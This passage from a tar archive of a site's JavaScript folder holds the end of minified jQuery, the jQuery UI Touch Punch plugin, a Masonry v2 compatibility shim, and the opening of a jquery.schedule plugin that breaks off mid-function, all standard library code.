t?parseInt(t,10):pt.test(e.nodeName)||dt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,gt(this)))});if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,gt(this)))});if(!arguments.length)return this.attr("class","");if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,gt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=vt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=gt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+ht(gt(n))+" ").indexOf(t))return!0;return!1}});var yt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(yt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:ht(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var mt=/^(?:focusinfocus|focusoutblur)$/,xt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!mt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,mt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,xt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,xt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var bt=C.location,wt={guid:Date.now()},Tt=/\?/;S.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Ct=/\[\]$/,Et=/\r?\n/g,St=/^(?:submit|button|image|reset|file)$/i,kt=/^(?:input|select|textarea|keygen)/i;function At(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||Ct.test(n)?i(n,t):At(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)At(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)At(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&kt.test(this.nodeName)&&!St.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(Et,"\r\n")}}):{name:t.name,value:n.replace(Et,"\r\n")}}).get()}});var Nt=/%20/g,jt=/#.*$/,Dt=/([?&])_=[^&]*/,qt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Lt=/^(?:GET|HEAD)$/,Ht=/^\/\//,Ot={},Pt={},Rt="*/".concat("*"),Mt=E.createElement("a");function It(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Wt(t,i,o,a){var s={},u=t===Pt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Ft(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Mt.href=bt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:bt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Rt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Ft(Ft(e,S.ajaxSettings),t):Ft(S.ajaxSettings,e)},ajaxPrefilter:It(Ot),ajaxTransport:It(Pt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=qt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||bt.href)+"").replace(Ht,bt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Mt.protocol+"//"+Mt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Wt(Ot,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Lt.test(v.type),f=v.url.replace(jt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Nt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Tt.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Dt,"$1"),o=(Tt.test(f)?"&":"?")+"_="+wt.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+Rt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Wt(Pt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&S.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors||$t&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Bt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=ht(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Xt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Xt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S}); jQuery.noConflict();�������������������������������������������������������������������������������js/jquery/jquery.ui.touch-punch.js������������������������������������������������������������������0000644�����������������00000002233�14717703502�0013232 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Touch Punch 0.2.2 * * Copyright 2011, Dave Furfero * Dual licensed under the MIT or GPL Version 2 licenses. * * Depends: * jquery.ui.widget.js * jquery.ui.mouse.js */ (function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f)}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown")};c._touchMove=function(f){if(!a){return}this._touchMoved=true;d(f,"mousemove")};c._touchEnd=function(f){if(!a){return}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click")}a=false};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f)}})(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.masonry.min.js���������������������������������������������������������������������0000644�����������������00000003433�14717703502�0012636 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * Masonry v2 shim * to maintain backwards compatibility * as of Masonry v3.1.2 * * Cascading grid layout library * http://masonry.desandro.com * MIT License * by David DeSandro */ !function(a){"use strict";var b=a.Masonry;b.prototype._remapV2Options=function(){this._remapOption("gutterWidth","gutter"),this._remapOption("isResizable","isResizeBound"),this._remapOption("isRTL","isOriginLeft",function(a){return!a});var a=this.options.isAnimated;if(void 0!==a&&(this.options.transitionDuration=a?this.options.transitionDuration:0),void 0===a||a){var b=this.options.animationOptions,c=b&&b.duration;c&&(this.options.transitionDuration="string"==typeof c?c:c+"ms")}},b.prototype._remapOption=function(a,b,c){var d=this.options[a];void 0!==d&&(this.options[b]=c?c(d):d)};var c=b.prototype._create;b.prototype._create=function(){var a=this;this._remapV2Options(),c.apply(this,arguments),setTimeout(function(){jQuery(a.element).addClass("masonry")},0)};var d=b.prototype.layout;b.prototype.layout=function(){this._remapV2Options(),d.apply(this,arguments)};var e=b.prototype.option;b.prototype.option=function(){e.apply(this,arguments),this._remapV2Options()};var f=b.prototype._itemize;b.prototype._itemize=function(a){var b=f.apply(this,arguments);return jQuery(a).addClass("masonry-brick"),b};var g=b.prototype.measureColumns;b.prototype.measureColumns=function(){var a=this.options.columnWidth;a&&"function"==typeof a&&(this.getContainerWidth(),this.columnWidth=a(this.containerWidth)),g.apply(this,arguments)},b.prototype.reload=function(){this.reloadItems.apply(this,arguments),this.layout.apply(this)};var h=b.prototype.destroy;b.prototype.destroy=function(){var a=this.getItemElements();jQuery(this.element).removeClass("masonry"),jQuery(a).removeClass("masonry-brick"),h.apply(this,arguments)}}(window);�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.schedule.js������������������������������������������������������������������������0000644�����������������00000006601�14717703502�0012160 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� (function($){$.scheduler=function(){this.bucket={};return;};$.scheduler.prototype={schedule:function(){var ctx={"id":null,"time":1000,"repeat":false,"protect":false,"obj":null,"func":function(){},"args":[]};function _isfn(fn){return(!!fn&&typeof fn!="string"&&typeof fn[0]=="undefined"&&RegExp("function","i").test(fn+""));};var i=0;var override=false;if(typeof arguments[i]=="object"&&arguments.length>1){override=true;i++;} if(typeof arguments[i]=="object"){for(var option in arguments[i]) if(typeof ctx[option]!="undefined") ctx[option]=arguments[i][option];i++;} if(typeof arguments[i]=="number"||(typeof arguments[i]=="string"&&arguments[i].match(RegExp("^[0-9]+[smhdw]$")))) ctx["time"]=arguments[i++];if(typeof arguments[i]=="boolean") ctx["repeat"]=arguments[i++];if(typeof arguments[i]=="boolean") ctx["protect"]=arguments[i++];if(typeof arguments[i]=="object"&&typeof arguments[i+1]=="string"&&_isfn(arguments[i][arguments[i+1]])){ctx["obj"]=arguments[i++];ctx["func"]=arguments[i++];} else if(typeof arguments[i]!="undefined"&&(_isfn(arguments[i])||typeof arguments[i]=="string")) ctx["func"]=arguments[i++];while(typeof arguments[i]!="undefined") ctx["args"].push(arguments[i++]);if(override){if(typeof 